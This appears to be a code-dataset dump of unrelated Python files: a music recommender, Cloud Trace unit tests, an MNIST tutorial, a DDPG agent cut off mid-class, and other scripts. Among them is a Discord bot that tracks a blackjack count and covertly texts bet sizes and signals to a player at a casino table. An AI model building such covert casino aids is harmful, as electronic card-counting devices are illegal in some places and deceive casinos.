recommend_table[user] = 1\n print(\"length of recommend_tbl: \" + str(len(recommend_table)))\n print(\"sorting table...\")\n recommend_list = list(recommend_table.items())\n top_count, top_index = 0, -1\n for i in range(5):\n for j in range(len(recommend_list)):\n if recommend_list[j][1] > top_count:\n top_count, top_index = recommend_list[j][1], j\n print(recommend_list[top_index])\n recommend_list[top_index] = (recommend_list[top_index][0], 0)\n top_count, top_index = 0, -1\n\n\n","sub_path":"cloud_music_assis.py","file_name":"cloud_music_assis.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"427698561","text":"import discord\nfrom discord.ext import commands\nimport math\nimport smtplib\nfrom email.message import EmailMessage\nimport threading\nimport datetime\nimport time\n\n#Created by Nut-Stack\n\nhigh = ['a','k','q','j','10']\nlow = ['2','3','4','5','6']\nmedium = ['7','8','9']\n\ncard_points = ['2','3','4','5','6','7','8','9','10','j','q','k','a']\ncard_signs = ['Hearts','Clubs','Diamonds','Spades']\ndeck = {}\ncard_nums = {'count':0,\"num_of_decks\":8,\"base_bet\":1}\nfor points in range(len(card_points)):\n for signs in range (len(card_signs)):\n card = (card_points[points],card_signs[signs])\n deck.update({card_points[points]:card_nums.get(\"num_of_decks\")*4})\n\ndef email_alert(subject, body):\n msg = EmailMessage()\n msg.set_content(body)\n msg['subject'] = subject\n to = \"PUTYOURNUMBERHERE@txt.att.net REPLACE AFTER @ WITH YOUR OWN CELL PROVIDER\"\n msg['to'] = to\n user = \"PUTYOUREMAILHERE\"\n password = \"PUTTHEAPPPASSWORDHERE\"\n\n msg['from'] = \"PUTNAMEHERE\"\n\n server = smtplib.SMTP(\"smtp.gmail.com\",587)#would advise using gmail, but others may work\n server.starttls()\n server.login(user,password)\n server.send_message(msg)\n server.quit()\n\n\n'''\nhttps://i2.wp.com/www.lasvegasjaunt.com/wp-content/uploads/2014/07/blackjack-basic-strategy-chart.jpg?ssl=1\n'''\n\nclient = commands.Bot(command_prefix = '.')\n\n@client.event\nasync def on_ready():\n x = datetime.datetime.now()\n date = x.date()\n hour = x.hour\n minute = x.minute\n AM = True\n if hour > 12:\n AM = False\n hour = hour - 12\n if minute < 10:\n minute = \"0{}\".format(minute)\n if AM == True:\n current = \"{} {}:{}am\".format(date, hour, minute)\n else:\n current = \"{} {}:{}pm\".format(date, hour, minute)\n email_alert(\"Bot turned on at {}\".format(current),\"Basebet: {}\\nDecks: {}\".format(card_nums.get(\"base_bet\"),card_nums.get(\"num_of_decks\")))\n print(\"Bot is ready\")\n\n@client.event\nasync def on_message(message):\n if message.author.bot != True:\n print(message.content)\n message.content = message.content.lower()\n if (message.content) in card_points:\n if deck.get(message.content) > 0:\n deck.update({message.content:deck.get(message.content)-1})\n card_nums.update({'count':card_nums.get('count')+1})\n else:\n await message.channel.send(\"There are no more '{}'.\".format(message.content))\n elif message.content == 'bet':\n i = 0\n for card_name in deck:\n if card_name in high:\n i += deck.get(card_name)\n if card_name in low:\n i -= deck.get(card_name)\n true_count = round((i)/(int(card_nums.get(\"num_of_decks\")) - (card_nums.get('count')/52)),2)\n if true_count >= 1:\n bet = (math.trunc(int(card_nums.get(\"base_bet\")) * true_count))\n await message.channel.send(\"Running count: {}\".format(i))\n await message.channel.send(\"True count: {}.\".format(true_count))\n await message.channel.send(\"Bet: {}.\".format(bet))\n for q in range(0,bet):\n t = threading.Thread(target = email_alert, args = (\"True Count: {}\".format(true_count),\"Bet: {}\".format(bet),))\n t.start()\n time.sleep(.1)\n elif true_count < -3:\n await message.channel.send(\"True count is less than -3. True count: {} alerting player to go to another table.\".format(true_count))\n await message.channel.send(\"Please shuffle the deck upon the player going to a new table.\")\n for q in range(0,20):\n t = threading.Thread(target = email_alert, args = (\"True count {}\".format(true_count),\"Go to another table!\"))\n t.start()\n else:\n await message.channel.send(\"Running count: {}\".format(i))\n await message.channel.send(\"True count: {}.\".format(true_count))\n await message.channel.send(\"Bet: {}. Base amount.\".format(card_nums.get(\"base_bet\")))\n for q in range(0,card_nums.get(\"base_bet\")):\n email_alert(\"True Count: {}\".format(true_count),\"Bet: {}\".format(card_nums.get(\"base_bet\")))\n elif message.content == 'showdeck':\n await message.channel.send(deck)\n elif message.content == 'stats':\n if int(card_nums.get(\"num_of_decks\")) == 1:\n await message.channel.send(\"Working with {} deck. Baseline bet is {}.\".format(card_nums.get(\"num_of_decks\"),card_nums.get(\"base_bet\")))\n else:\n await message.channel.send(\"Working with {} decks. Baseline bet is {}.\".format(card_nums.get(\"num_of_decks\"),card_nums.get(\"base_bet\")))\n elif message.content == 'remaining':\n i = 0\n for card_name in deck:\n i += deck.get(card_name)\n await message.channel.send(\"{}/{} Remaining.\".format(i,int(card_nums.get(\"num_of_decks\"))*52))\n elif message.content == 'shuffle':\n for card_name in deck:\n deck.update({card_name:int(card_nums.get(\"num_of_decks\"))*4})\n await message.channel.send(\"Shuffling.\")\n elif message.content == 'ping':\n await message.channel.send(\":ping_pong: pong\")\n elif message.content.startswith(\"add\"):\n card = message.content.split(\"add\")[1]\n try:\n deck.update({card:deck.get(card)+1})\n card_nums.update({'count':card_nums.get('count')-1})\n await message.channel.send(\"Added back {}.\".format(card))\n except:\n await message.channel.send(\"'{}' is not a valid card.\".format(card))\n elif message.content == \"error\":\n for i in range(0,20):\n t = threading.Thread(target = email_alert, args = (\"there is an error!\",\"Go to the bathroom!\"))\n t.start()\n await message.channel.send(\"Sent 20 msgs to let him know there is an error.\")\n elif message.content == 'commands':\n await message.channel.send(\"bet, showdeck, shuffle, stats, remaining, ping, add, error, changedeck, changebase\")\n elif message.content == 'help':\n await message.channel.send(\"commands: Show the commands in a simpler list.\")\n await message.channel.send(\"bet: Send a text to the counter with the proper info. DO THIS BEFORE THE NEXT HAND PLEASE!\")\n await message.channel.send(\"showdeck: Shows the deck.\")\n await message.channel.send(\"shuffle: If the dealer shuffles, type shuffle.\")\n await message.channel.send(\"stats: More of a debug, will show base bet and baseline bet.\")\n await message.channel.send(\"remaining: Shows how many cards are left in the deck.\")\n await message.channel.send(\"ping: Pong!\")\n await message.channel.send(\"add: If you made a mistake in inputting cards, e.g. took out an 'a' type adda to add the a back in the deck.\")\n await message.channel.send(\"error: Use if need to tell him to go to the bathroom and call you.\")\n await message.channel.send(\"changedeck: Use this to change the number of decks in the shoe. e.g. there are 2 decks in the shoe, type: changedeck2. Use this at the start of the night since casinos have the same num of cards in each shoe.\")\n await message.channel.send(\"changebase: Use this to change the base bet. Default is 1, only change this if the player knows ahead of time. e.g. changebase2 to change the base bet to 2.\")\n elif message.content.startswith(\"changedeck\"):\n decknums = message.content.split(\"changedeck\")[1]\n try:\n for card in deck:\n deck.update({card:int(decknums)*4})\n card_nums.update({\"count\":0,\"num_of_decks\":decknums})\n await message.channel.send(\"Deck has been updated to {} decks.\".format(decknums))\n email_alert(\"Deck update\",\"{} decks\".format(decknums))\n except:\n await message.channel.send(\"Deck cannot change to '{}'.\".format(decknums))\n elif message.content.startswith(\"changebase\"):\n base = message.content.split(\"changebase\")[1]\n try:\n card_nums.update({\"base_bet\":int(base)})\n await message.channel.send(\"Base bet has been changed to {}\".format(base))\n email_alert(\"Base Bet update\",\"{} is now the base bet.\".format(base))\n except:\n await message.channel.send(\"Base bet could not be changed to '{}'.\".format(base))\n else:\n await message.channel.send(\"Unrecognized command '{}' try typing help.\".format(message.content))\n\n\n\n\nclient.run('####USEYOUROWNSEEDNERD####')\n","sub_path":"Discord_card_count.py","file_name":"Discord_card_count.py","file_ext":"py","file_size_in_byte":8854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"295319819","text":"from abc import ABC, abstractmethod\r\nimport json\r\nfrom .models import Rating, LocalDBService, Rater\r\nfrom django.core import serializers\r\n\r\n#This function updates or creates the new records received by the movie services\r\n#Receives a list of dicts\r\ndef update_ratings(updated_ratings, myrater):\r\n\tfor item in updated_ratings:\r\n\r\n\t\tobj, created = Rating.objects.update_or_create(\r\n\t\t\trater=myrater, movie=item['movie'],\r\n\t\t\tdefaults={\r\n\t\t\t\t'genre': item['genre'],\r\n\t\t\t\t'rating': item['rating']}\r\n\t\t\t)\r\n\treturn True\r\n\r\n#This class represent all the functions that the movie services need to implement\r\nclass MovieService(ABC):\r\n\t@abstractmethod\r\n\tdef get_top_movies(self):\r\n\t\t#This method call the API of the movie service\r\n\t\t#and fetch the top movies\r\n\t\t#We can filter by genre using the parameter\r\n\t\t#The method must return a list of dicts in JSON format\r\n\t\t#including the fields: genre, movie and rating\r\n\t\tpass\r\n\r\nclass Netflix(MovieService):\r\n\t#This service reads a local file with movie information in JSON format\r\n\tdef get_top_movies():\r\n\t\tmyrater=Rater.objects.all().filter(name=\"Netflix\")[0]\r\n\t\t#print(\"Top movies from Netflix\")\r\n\t\twith open('recommender/test_data/netflix.json', 'r') as myfile:\r\n\t\t\tdata = myfile.read()\r\n\t\tdata=json.loads(data)\r\n\t\tupdate_ratings(data, myrater) \r\n\r\nclass LocalDB(MovieService):\r\n\t#This service reads information from a local database\r\n\tdef get_top_movies():\r\n\t\tmyrater=Rater.objects.all().filter(name=\"LocalDB\")[0]\r\n\t\tlocalDBratings=list(LocalDBService.objects.all().values())\r\n\t\tupdate_ratings(localDBratings,myrater)","sub_path":"project/recommender/movieservices.py","file_name":"movieservices.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"588921736","text":"# Copyright 2017 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport datetime\nimport unittest\n\nimport mock\n\nfrom google.api_core import grpc_helpers\n\n\nclass _Base(object):\n project = \"PROJECT\"\n\n def _make_one(self, gapic_client=None, handwritten_client=None):\n from google.cloud.trace_v1.gapic import trace_service_client\n\n channel = grpc_helpers.ChannelStub()\n if gapic_client is None:\n gapic_client = trace_service_client.TraceServiceClient(channel=channel)\n if handwritten_client is None:\n handwritten_client = mock.Mock()\n api = self._get_target_class()(gapic_client, handwritten_client)\n return channel, api\n\n\nclass Test__TraceAPI(_Base, unittest.TestCase):\n @staticmethod\n def _get_target_class():\n from google.cloud.trace.v1._gapic import _TraceAPI\n\n return _TraceAPI\n\n def test_constructor(self):\n from google.cloud.trace_v1.gapic import trace_service_client\n\n channel = grpc_helpers.ChannelStub()\n gapic_client = trace_service_client.TraceServiceClient(channel=channel)\n _, api = self._make_one(gapic_client, mock.sentinel.client)\n self.assertIs(api._gapic_api, gapic_client)\n self.assertIs(api.client, mock.sentinel.client)\n\n def test_patch_traces(self):\n from google.cloud.trace_v1.gapic import trace_service_client\n from google.cloud.trace_v1.proto.trace_pb2 import TraceSpan, Trace, Traces\n from google.cloud.trace.v1._gapic import _traces_mapping_to_pb\n from google.cloud._helpers import _datetime_to_pb_timestamp\n\n trace_id = \"test_trace_id\"\n span_id = 1234\n span_name = \"test_span_name\"\n start_time = datetime.datetime.utcnow()\n end_time = datetime.datetime.utcnow()\n\n traces = {\n \"traces\": [\n {\n \"projectId\": self.project,\n \"traceId\": trace_id,\n \"spans\": [\n {\n \"spanId\": span_id,\n \"name\": span_name,\n \"startTime\": start_time.isoformat() + \"Z\",\n \"endTime\": end_time.isoformat() + \"Z\",\n }\n ],\n }\n ]\n }\n\n traces_pb = _traces_mapping_to_pb(traces)\n\n gapic_api = mock.Mock(spec=trace_service_client.TraceServiceClient)\n _, api = self._make_one(gapic_api, None)\n api.patch_traces(project_id=self.project, traces=traces)\n\n gapic_api.patch_traces.assert_called_with(self.project, traces_pb)\n\n call_args = gapic_api.patch_traces.call_args[0]\n self.assertEqual(len(call_args), 2)\n traces_called = call_args[1]\n self.assertEqual(len(traces_called.traces), 1)\n trace = traces_called.traces[0]\n\n self.assertEqual(len(trace.spans), 1)\n span = trace.spans[0]\n\n self.assertIsInstance(traces_called, Traces)\n self.assertEqual(trace.project_id, self.project)\n self.assertEqual(trace.trace_id, trace_id)\n self.assertIsInstance(trace, Trace)\n\n self.assertEqual(span.span_id, span_id)\n self.assertEqual(span.name, span_name)\n self.assertEqual(span.start_time, _datetime_to_pb_timestamp(start_time))\n self.assertEqual(span.end_time, _datetime_to_pb_timestamp(end_time))\n self.assertIsInstance(span, TraceSpan)\n\n def test_get_trace(self):\n from google.cloud.trace_v1.gapic import trace_service_client\n\n trace_id = \"test_trace_id\"\n\n gapic_api = mock.Mock(spec=trace_service_client.TraceServiceClient)\n _, api = self._make_one(gapic_api, None)\n patch = mock.patch(\n \"google.cloud.trace.v1._gapic._parse_trace_pb\",\n return_value=\"fake_pb_result\",\n )\n\n with patch:\n api.get_trace(project_id=self.project, trace_id=trace_id)\n\n gapic_api.get_trace.assert_called_with(self.project, trace_id)\n\n def _make_trace_pb(\n self,\n project,\n trace_id,\n span_id,\n span_name,\n start_time,\n end_time,\n parent_span_id,\n labels,\n ):\n from google.cloud.trace.v1._gapic import _traces_mapping_to_pb\n\n span_kind = 2\n\n traces = {\n \"traces\": [\n {\n \"projectId\": project,\n \"traceId\": trace_id,\n \"spans\": [\n {\n \"spanId\": span_id,\n \"name\": span_name,\n \"startTime\": start_time,\n \"endTime\": end_time,\n \"kind\": span_kind,\n \"parentSpanId\": parent_span_id,\n \"labels\": labels,\n }\n ],\n }\n ]\n }\n\n traces_pb = _traces_mapping_to_pb(traces)\n trace_pb = traces_pb.traces\n return trace_pb\n\n def test_list_traces(self):\n from google.cloud._helpers import _rfc3339_to_datetime\n from google.cloud._helpers import UTC\n from google.cloud.trace_v1.gapic import trace_service_client\n from google.cloud.trace_v1.gapic.enums import ListTracesRequest as Enum\n from google.cloud.trace_v1.proto import trace_pb2\n\n trace_id = \"test_trace_id\"\n span_id = 1234\n span_name = \"test_span_name\"\n span_kind = \"RPC_CLIENT\"\n parent_span_id = 123\n start_ts = datetime.datetime.utcnow()\n end_ts = datetime.datetime.utcnow()\n labels = {\"/http/status_code\": \"200\", \"/component\": \"HTTP load balancer\"}\n size = 10\n view_type = Enum.ViewType.COMPLETE\n token = \"TOKEN\"\n\n trace_pb = self._make_trace_pb(\n self.project,\n trace_id,\n span_id,\n span_name,\n start_ts.isoformat() + \"Z\",\n end_ts.isoformat() + \"Z\",\n parent_span_id,\n labels,\n )\n\n gapic_api = mock.Mock(spec=trace_service_client.TraceServiceClient)\n gapic_api.list_traces = mock.create_autospec(gapic_api.list_traces)\n channel, api = self._make_one()\n\n channel.ListTraces.response = trace_pb2.ListTracesResponse(traces=[trace_pb[0]])\n iterator = api.list_traces(\n project_id=self.project, view=view_type, page_size=size, page_token=token\n )\n\n traces = list(iterator)\n\n self.assertEqual(len(traces), 1)\n trace = traces[0]\n\n self.assertEqual(len(trace[\"spans\"]), 1)\n span = trace[\"spans\"][0]\n\n self.assertEqual(trace[\"projectId\"], self.project)\n self.assertEqual(trace[\"traceId\"], trace_id)\n\n self.assertEqual(span[\"spanId\"], str(span_id))\n self.assertEqual(span[\"name\"], span_name)\n\n self.assertEqual(\n _rfc3339_to_datetime(span[\"startTime\"]), start_ts.replace(tzinfo=UTC)\n )\n self.assertEqual(\n _rfc3339_to_datetime(span[\"endTime\"]), end_ts.replace(tzinfo=UTC)\n )\n self.assertEqual(span[\"kind\"], span_kind)\n self.assertEqual(span[\"parentSpanId\"], str(parent_span_id))\n self.assertEqual(span[\"labels\"], labels)\n\n self.assertEqual(len(channel.ListTraces.requests), 1)\n request = channel.ListTraces.requests[0]\n\n self.assertEqual(request.project_id, self.project)\n self.assertEqual(request.view, view_type)\n self.assertEqual(request.page_size, size)\n self.assertEqual(\n request.start_time.ToDatetime(), datetime.datetime(1970, 1, 1, 0, 0)\n )\n self.assertEqual(\n request.end_time.ToDatetime(), datetime.datetime(1970, 1, 1, 0, 0)\n )\n self.assertEqual(request.filter, \"\")\n self.assertEqual(request.order_by, \"\")\n\n\nclass Test__parse_trace_pb(unittest.TestCase):\n @staticmethod\n def _call_fut(*args, **kwargs):\n from google.cloud.trace.v1._gapic import _parse_trace_pb\n\n return _parse_trace_pb(*args, **kwargs)\n\n def test_registered_type(self):\n from google.cloud.trace_v1.proto.trace_pb2 import TraceSpan, Trace\n from google.protobuf.timestamp_pb2 import Timestamp\n\n project = u\"PROJECT\"\n trace_id = u\"test_trace_id\"\n span_id = 1234\n span_name = u\"test_span_name\"\n start_time = \"2017-06-24T00:12:50.369990Z\"\n end_time = \"2017-06-24T00:13:39.633255Z\"\n start_seconds = 1498263170\n start_nanos = 369990000\n end_seconds = 1498263219\n end_nanos = 633255000\n\n start_time_pb = Timestamp(seconds=start_seconds, nanos=start_nanos)\n end_time_pb = Timestamp(seconds=end_seconds, nanos=end_nanos)\n\n span_pb = TraceSpan(\n span_id=span_id,\n name=span_name,\n start_time=start_time_pb,\n end_time=end_time_pb,\n )\n\n trace_pb = Trace(project_id=project, trace_id=trace_id, spans=[span_pb])\n\n parse_result = self._call_fut(trace_pb)\n\n expected_result = {\n \"projectId\": project,\n \"traceId\": trace_id,\n \"spans\": [\n {\n \"spanId\": str(span_id),\n \"name\": span_name,\n \"startTime\": start_time,\n \"endTime\": end_time,\n }\n ],\n }\n\n self.assertEqual(parse_result, expected_result)\n\n @mock.patch(\"google.cloud.trace.v1._gapic.MessageToDict\", side_effect=TypeError)\n def test_unregistered_type(self, msg_to_dict_mock):\n trace_pb = mock.Mock(spec=[\"HasField\"])\n trace_pb.HasField.return_value = False\n with self.assertRaises(TypeError):\n self._call_fut(trace_pb)\n\n\nclass Test_make_trace_api(unittest.TestCase):\n def _call_fut(self, client):\n from google.cloud.trace.v1._gapic import make_trace_api\n\n return make_trace_api(client)\n\n def test_it(self):\n from google.cloud.trace.v1._gapic import _TraceAPI\n\n credentials = object()\n client = mock.Mock(_credentials=credentials, spec=[\"_credentials\"])\n generated_api_kwargs = []\n generated = object()\n\n def generated_api(**kwargs):\n generated_api_kwargs.append(kwargs)\n return generated\n\n host = \"foo.apis.invalid\"\n generated_api.SERVICE_ADDRESS = host\n\n patch_api = mock.patch(\n \"google.cloud.trace.v1._gapic.trace_service_client.\" \"TraceServiceClient\",\n new=generated_api,\n )\n\n with patch_api:\n trace_api = self._call_fut(client)\n\n self.assertEqual(len(generated_api_kwargs), 1)\n\n self.assertIsInstance(trace_api, _TraceAPI)\n self.assertIs(trace_api._gapic_api, generated)\n self.assertIs(trace_api.client, client)\n","sub_path":"trace/tests/unit/v1/test__gapic_v1.py","file_name":"test__gapic_v1.py","file_ext":"py","file_size_in_byte":11411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"225680744","text":"from core.helpers.checkAdmin import checkAdmin\n\ncheckAdmin()\n\nimport tkinter as tk\nfrom core.gui.drawManagerButtons import drawManagerButtons\n\n\nmanagerApp = tk.Tk()\nmanagerApp.title('DB Manager')\n \ndrawManagerButtons(managerApp)\n\n\ndef on_close():\n managerApp.destroy()\n exit()\n\n\nmanagerApp.protocol('WM_DELETE_WINDOW', on_close)\nmanagerApp.mainloop()","sub_path":"GUI_manager.py","file_name":"GUI_manager.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"9673993","text":"#MNIST机器学习入门\n\n#1. 导入数据集\n#注: Anaconda中input_data.py位于tensorflow.examples.tutorials.mnist文件夹下\nfrom tensorflow.examples.tutorials.mnist import input_data\nmnist = input_data.read_data_sets(\"MNIST_data/\", one_hot=True)\n\nimport tensorflow as tf\n\n#softmax回归\n#第一步 对图像像素值进行加权求和\n# 不属于该类 权值为负\n# 加入偏置量(bias) 消除无关干扰量\n# x--图片i W--权重 b--偏置量(bias)\n# x 非特定值 可输入\nx = tf.placeholder(\"float\",[None, 784])\n#使用全为0的张量来初始化W,b 可输入\n#需要学习,初始值可以随意设置\nW = tf.Variable(tf.zeros([784,10]))\nb = tf.Variable(tf.zeros([10]))\n\n#第二步 使用softmax函数将其转换成概率y\n#softmax模型实现\n#预测的概率分布\ny = tf.nn.softmax(tf.matmul(x,W) + b)\n\n#实际分布(one-hot vector)\ny_ = tf.placeholder(\"float\",[None,10])\n\n#训练模型\n#成本函数--交叉熵\ncross_entropy = -tf.reduce_sum(y_ * tf.log(y))\n\n#训练 反向传播算法\n#使用梯度下降算法最小化交叉熵 0.01学习速率\ntrain_step = tf.train.GradientDescentOptimizer(0.01).minimize(cross_entropy)\n\n#初始化变量\ninit = tf.initialize_all_variables()\n\nsess = tf.Session()\nsess.run(init)\n\n#开始训练\nfor i in range(1000):\n #随机训练(stochastic training)/随机梯度下降训练\n #随机抓取数据中的100个批处理数据点\n #替换之前的占位符来运行train_step\n #1.减少计算开销 2.最大化地学习到数据集的总体特性\n batch_xs,batch_ys = mnist.train.next_batch(100)\n sess.run(train_step, feed_dict={x:batch_xs,y_:batch_ys})\n\n#评估模型\n#类别标签--最大值1所在索引位置\n#tf.argmax(y,1) 返回的是模型对于任一输入x预测到的标签值\n#tf.argmax(y_,1) 正确的标签\n#tf.equal 检测我们的预测是否真实标签匹配(索引位置相同)\ncorrect_prediction = tf.equal(tf.argmax(y,1), tf.argmax(y_,1))\naccuracy = tf.reduce_mean(tf.cast(correct_prediction, \"float\"))\n#计算所学习到的模型在测试数据集上面的正确率\nprint(sess.run(accuracy, feed_dict={x: mnist.test.images, y_: mnist.test.labels}))\n","sub_path":"notebook_running_dir/MNIST入门.py","file_name":"MNIST入门.py","file_ext":"py","file_size_in_byte":2170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"586114911","text":"import numpy as np\r\n\r\narr = np.array([[4,3,2],\r\n [2,1,5]])\r\nprint(arr)\r\n#默认按照行排序\r\n# arr.sort()\r\n# print(arr)\r\n# [[2 3 4]\r\n# [1 2 5]]\r\n\r\n# 按列排序\r\n# arr.sort(axis=0)\r\n# print(arr)\r\n# # [[2 1 2]\r\n# # [4 3 5]]\r\n\r\n# 间接排序:将排序后的下标输出,不更改物理结构\r\nres = arr.argsort()\r\nprint(res)\r\n# [[2 1 0]\r\n# [1 0 2]]\r\n\r\n# 传多个,只排序最后一个;间接排序\r\nnp.lexsort(arr)\r\n\r\n\r\n\r\n# lst = [2,4,3]\r\n# # 修改lst本身\r\n# lst.sort()\r\n# print(lst)\r\n#\r\n# # 排序后,返回一个新列表\r\n# lst2 = sorted(lst)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"Data_AI/02/统计分析2.py","file_name":"统计分析2.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"469370880","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 17 09:39:13 2020\n\n@author: JLLU\n\"\"\"\n\n#%% asdfaf\nfrom unityagents import UnityEnvironment\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport random\nfrom collections import namedtuple, deque\nimport matplotlib.pyplot as plt\nimport copy\nimport pandas as pd\n\nBUFFER_SIZE = int(1e6) # replay buffer size\nBATCH_SIZE = 128 # minibatch size\nGAMMA = 0.95 # discount factor\nTAU = 1e-3 # for soft update of target parameters\nLR_ACTOR = 1e-4 # learning rate of the actor \n\nLR_CRITIC = 1e-3 # learning rate of the critic\n\nWEIGHT_DECAY = 0 # L2 weight decay\n\nUPDATE_EVERY = 20 \nUPDATE_TIMES = 10\n\n\nEPSILON = 1.0 # WEgiht added noise to control exploration \nEPSILON_DECAY = 1e-6 \n\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n#HIDDEN_UNITS = 64\n\ndef hidden_init(layer):\n fan_in = layer.weight.data.size()[0]\n lim = 1. / np.sqrt(fan_in)\n return (-lim, lim)\n\nclass Actor(nn.Module):\n \"\"\"Actor (Policy) Model.\"\"\"\n\n def __init__(self, state_size, action_size, seed, fc1_units=256, fc2_units=128, fc3_units=64):\n \"\"\"Initialize parameters and build model.\n Params\n ======\n state_size (int): Dimension of each state\n action_size (int): Dimension of each action\n seed (int): Random seed\n fc1_units (int): Number of nodes in first hidden layer\n fc2_units (int): Number of nodes in second hidden layer\n \"\"\"\n \n super(Actor, self).__init__()\n self.seed = torch.manual_seed(seed)\n self.fc1 = nn.Linear(state_size, fc1_units)\n self.fc2 = nn.Linear(fc1_units, fc2_units)\n self.fc3 = nn.Linear(fc2_units, fc3_units)\n self.fc4 = nn.Linear(fc3_units, action_size)\n \n self.bn_fc1 = nn.BatchNorm1d(fc1_units)\n #self.bin_hidden = nn.BatchNorm1d(hidden_size)\n self.reset_parameters() \n\n def reset_parameters(self):\n self.fc1.weight.data.uniform_(*hidden_init(self.fc1))\n self.fc2.weight.data.uniform_(*hidden_init(self.fc2))\n self.fc3.weight.data.uniform_(*hidden_init(self.fc3))\n self.fc4.weight.data.uniform_(-3e-3, 3e-3)\n\n def forward(self, state):\n \"\"\"Build an actor (policy) network that maps states -> actions.\"\"\"\n x = self.fc1(state)\n #x = self.bn_fc1(x)\n x = F.relu(x)\n \n x = self.fc2(x)\n #x = self.bn_hidden(x)\n x = F.relu(x)\n \n x = self.fc3(x)\n x = F.relu(x)\n \n x = self.fc4(x)\n x = torch.tanh(x)\n return x\n\n\nclass Critic(nn.Module):\n \"\"\"Critic (Value) Model.\"\"\"\n\n def __init__(self, state_size, action_size, seed, fcs1_units=256, fc2_units=128, fc3_units=64):\n \"\"\"Initialize parameters and build model.\n Params\n ======\n state_size (int): Dimension of each state\n action_size (int): Dimension of each action\n seed (int): Random seed\n fcs1_units (int): Number of nodes in the first hidden layer\n fc2_units (int): Number of nodes in the second hidden layer\n \"\"\"\n \n super(Critic, self).__init__()\n self.seed = torch.manual_seed(seed)\n self.fcs1 = nn.Linear(state_size, fcs1_units)\n self.fc2 = nn.Linear(fcs1_units + action_size, fc2_units)\n self.fc3 = nn.Linear(fc2_units, fc3_units)\n self.fc4 = nn.Linear(fc3_units, 1)\n\n self.bn_input = nn.BatchNorm1d(fcs1_units)\n self.reset_parameters()\n\n def reset_parameters(self):\n self.fcs1.weight.data.uniform_(*hidden_init(self.fcs1))\n self.fc2.weight.data.uniform_(*hidden_init(self.fc2))\n self.fc3.weight.data.uniform_(*hidden_init(self.fc3))\n self.fc4.weight.data.uniform_(-3e-3, 3e-3)\n\n def forward(self, state, action):\n \"\"\"Build a critic (value) network that maps (state, action) pairs -> Q-values.\"\"\"\n xs = self.fcs1(state)\n xs = self.bn_input(xs)\n xs = F.relu(xs)\n \n x = torch.cat((xs, action), dim=1)\n x = self.fc2(x)\n x = F.relu(x)\n\n x = self.fc3(x) \n x = F.relu(x)\n \n x = self.fc4(x)\n return x\n\n\nclass ReplayBuffer:\n \"\"\"Fixed-size buffer to store experience tuples.\"\"\"\n\n def __init__(self, action_size, buffer_size, batch_size, seed):\n \"\"\"Initialize a ReplayBuffer object.\n Params\n ======\n buffer_size (int): maximum size of buffer\n batch_size (int): size of each training batch\n \"\"\"\n self.action_size = action_size\n self.memory = deque(maxlen=buffer_size) # internal memory (deque)\n self.batch_size = batch_size\n self.experience = namedtuple(\"Experience\", field_names=[\"state\", \"action\", \"reward\", \"next_state\", \"done\"])\n self.seed = random.seed(seed)\n \n def add(self, state, action, reward, next_state, done):\n \"\"\"Add a new experience to memory.\"\"\"\n e = self.experience(state, action, reward, next_state, done)\n self.memory.append(e)\n \n def sample(self):\n \"\"\"Randomly sample a batch of experiences from memory.\"\"\"\n experiences = random.sample(self.memory, k=self.batch_size)\n\n states = torch.from_numpy(np.vstack([e.state for e in experiences if e is not None])).float().to(device)\n actions = torch.from_numpy(np.vstack([e.action for e in experiences if e is not None])).float().to(device)\n rewards = torch.from_numpy(np.vstack([e.reward for e in experiences if e is not None])).float().to(device)\n next_states = torch.from_numpy(np.vstack([e.next_state for e in experiences if e is not None])).float().to(device)\n dones = torch.from_numpy(np.vstack([e.done for e in experiences if e is not None]).astype(np.uint8)).float().to(device)\n\n return (states, actions, rewards, next_states, dones)\n\n def __len__(self):\n \"\"\"Return the current size of internal memory.\"\"\"\n return len(self.memory)\n \n\nclass OUNoise:\n \"\"\"Ornstein-Uhlenbeck process.\"\"\"\n\n def __init__(self, size, seed, mu=0., theta=0.15, sigma=0.2):\n \"\"\"Initialize parameters and noise process.\"\"\"\n self.mu = mu * np.ones(size)\n self.theta = theta\n self.sigma = sigma\n self.seed = random.seed(seed)\n self.reset()\n\n def reset(self):\n \"\"\"Reset the internal state (= noise) to mean (mu).\"\"\"\n self.state = copy.copy(self.mu)\n\n def sample(self):\n \"\"\"Update internal state and return it as a noise sample.\"\"\"\n x = self.state\n dx = self.theta * (self.mu - x) + self.sigma * np.array([random.random() for i in range(len(x))])\n self.state = x + dx\n return self.state\n\n\nclass Agent():\n \"\"\"Interacts with and learns from the environment.\"\"\"\n \n def __init__(self, state_size, action_size, random_seed):\n \"\"\"Initialize an Agent object.\n \n Params\n ======\n state_size (int): dimension of each state\n action_size (int): dimension of each action\n random_seed (int): random seed\n \"\"\"\n self.state_size = state_size\n self.action_size = action_size\n self.seed = random.seed(random_seed)\n\n # Actor Network 